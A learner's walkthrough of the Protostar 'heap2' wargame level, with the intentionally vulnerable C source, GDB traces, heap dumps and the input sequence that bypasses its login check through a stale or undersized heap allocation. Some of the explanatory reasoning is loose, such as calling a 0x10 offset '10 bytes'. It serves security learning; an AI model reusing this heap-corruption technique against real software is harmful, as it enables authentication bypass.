Actually, I need to understand more about Heap Overflow. But now i try to solve this heap2 tast. I read a lot of write ups from another great write ups. Thanks to all guys for nice explain.
Description.
This level examines what can happen when heap pointers are stale. This level is completed when you see the “you have logged in already!” message
Heap2.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } }
The Challenge C code is little hard to understand but the key auth->auth must not be 0 if we need to get the flag.
Firstly define the variable of auth at the top it have 36 bytes (32 + 4) and it point to another name auth also. it little confuse to us.
There are also 4 input name . 1.auth , 2.reset , 3.service , 4. login
Ok.Let’s try to check the process.
[email protected]:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth Hello [ auth = 0x804c008, service = (nil) ]
The Heap pointer start at 0x804c008 of memory address and then service start at 0x804c018. So. there are differ 10 bytes. Try to login but fail.
[email protected]:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth Hello [ auth = 0x804c008, service = (nil) ] service MinKo [ auth = 0x804c008, service = 0x804c018 ] login please enter your password [ auth = 0x804c008, service = 0x804c018 ]
Ok.Let’s start debug with GDB. I stop the breakpoint at the print function inside of main. Insert auth value and search the start address of heap with info proc mapping.
[email protected]:/opt/protostar/bin$ gdb ./heap2 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/heap2...done. (gdb) disas main Dump of assembler code for function main: 0x08048934 <main+0>: push %ebp 0x08048935 <main+1>: mov %esp,%ebp 0x08048937 <main+3>: and $0xfffffff0,%esp 0x0804893a <main+6>: sub $0x90,%esp 0x08048940 <main+12>: jmp 0x8048943 <main+15> 0x08048942 <main+14>: nop 0x08048943 <main+15>: mov 0x804b5f8,%ecx 0x08048949 <main+21>: mov 0x804b5f4,%edx 0x0804894f <main+27>: mov $0x804ad70,%eax 0x08048954 <main+32>: mov %ecx,0x8(%esp) 0x08048958 <main+36>: mov %edx,0x4(%esp) 0x0804895c <main+40>: mov %eax,(%esp) 0x0804895f <main+43>: call 0x804881c <[email protected]> 0x08048964 <main+48>: mov 0x804b164,%eax 0x08048969 <main+53>: mov %eax,0x8(%esp) 0x0804896d <main+57>: movl $0x80,0x4(%esp) 0x08048975 <main+65>: lea 0x10(%esp),%eax 0x08048979 <main+69>: mov %eax,(%esp) 0x0804897c <main+72>: call 0x80487ac <[email protected]> 0x08048981 <main+77>: test %eax,%eax 0x08048983 <main+79>: jne 0x8048987 <main+83> 0x08048985 <main+81>: leave 0x08048986 <main+82>: ret 0x08048987 <main+83>: movl $0x5,0x8(%esp) 0x0804898f <main+91>: movl $0x804ad8d,0x4(%esp) 0x08048997 <main+99>: lea 0x10(%esp),%eax 0x0804899b <main+103>: mov %eax,(%esp) 0x0804899e <main+106>: call 0x804884c <[email protected]> 0x080489a3 <main+111>: test %eax,%eax 0x080489a5 <main+113>: jne 0x8048a01 <main+205> 0x080489a7 <main+115>: movl $0x4,(%esp) 0x080489ae <main+122>: call 0x804916a <malloc> 0x080489b3 <main+127>: mov %eax,0x804b5f4 0x080489b8 <main+132>: mov 0x804b5f4,%eax 0x080489bd <main+137>: movl $0x4,0x8(%esp) 0x080489c5 <main+145>: movl $0x0,0x4(%esp) 0x080489cd <main+153>: mov %eax,(%esp) 0x080489d0 <main+156>: call 0x80487bc <[email protected]> 0x080489d5 <main+161>: lea 0x10(%esp),%eax 0x080489d9 <main+165>: add $0x5,%eax ---Type <return> to continue, or q <return> to quit---q Quit (gdb) break *0x0804895f Breakpoint 1 at 0x804895f: file heap2/heap2.c, line 20. (gdb) r Starting program: /opt/protostar/bin/heap2 Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20 20 heap2/heap2.c: No such file or directory. in heap2/heap2.c (gdb) c Continuing. [ auth = (nil), service = (nil) ] auth Laiwon Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20 20 in heap2/heap2.c (gdb) info proc mapping process 1650 cmdline = '/opt/protostar/bin/heap2' cwd = '/opt/protostar/bin' exe = '/opt/protostar/bin/heap2' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap2 0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap2 0x804c000 0x804d000 0x1000 0 [heap] 0xb7e96000 0xb7e97000 0x1000 0 0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so 0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so 0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so 0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so 0xb7fd9000 0xb7fdc000 0x3000 0 0xb7fde000 0xb7fe2000 0x4000 0 0xb7fe2000 0xb7fe3000 0x1000 0 [vdso] 0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so 0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so 0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb)
Heap Start at 0x804c000. Ok let’ search our input value .
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >x/32x 0x804c000 >p auth >p service >end (gdb) c Continuing. [ auth = 0x804c008, service = (nil) ] service BBBB 0x804c000: 0x00000000 0x00000011 0x7769614c 0x000a6e6f 0x804c010: 0x00000000 0x00000011 0x42424220 0x00000a42 0x804c020: 0x00000000 0x00000fe1 0x00000000 0x00000000 0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000 $1 = (struct auth *) 0x804c008 $2 = 0x804c018 " BBBB\n" Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20 20 in heap2/heap2.c
Auth Address -> 0x804c00c
Service Address -> 0x804c01c
Auth->auth Address -> 0x804c02c
Now. we need to set the Auth->auth address. I add 1 byte to this pointer. but in my gdb , i can set service again for this address.
(gdb) c Continuing. [ auth = 0x804c008, service = 0x804c018 ] service DDDD 0x804c000: 0x00000000 0x00000011 0x7769614c 0x000a6e6f 0x804c010: 0x00000000 0x00000011 0x42424220 0x00000a42 0x804c020: 0x00000000 0x00000011 0x44444420 0x00000a44 0x804c030: 0x00000000 0x00000fd1 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000 $3 = (struct auth *) 0x804c008 $4 = 0x804c028 " DDDD\n" Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20 20 in heap2/heap2.c
Now just login
(gdb) c Continuing. [ auth = 0x804c008, service = 0x804c028 ] login you have logged in already! 0x804c000: 0x00000000 0x00000011 0x7769614c 0x000a6e6f 0x804c010: 0x00000000 0x00000011 0x42424220 0x00000a42 0x804c020: 0x00000000 0x00000011 0x44444420 0x00000a44 0x804c030: 0x00000000 0x00000fd1 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000 $5 = (struct auth *) 0x804c008 $6 = 0x804c028 " DDDD\n" Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20 20 in heap2/heap2.c
Yes it work. Try to exploit outside of gdb again.
[email protected]:/opt/protostar/bin$ ./heap2 [ auth = (nil), service = (nil) ] auth Laiwon [ auth = 0x804c008, service = (nil) ] service 123456789abcdef1 [ auth = 0x804c008, service = 0x804c018 ] login you have logged in already! [ auth = 0x804c008, service = 0x804c018 ]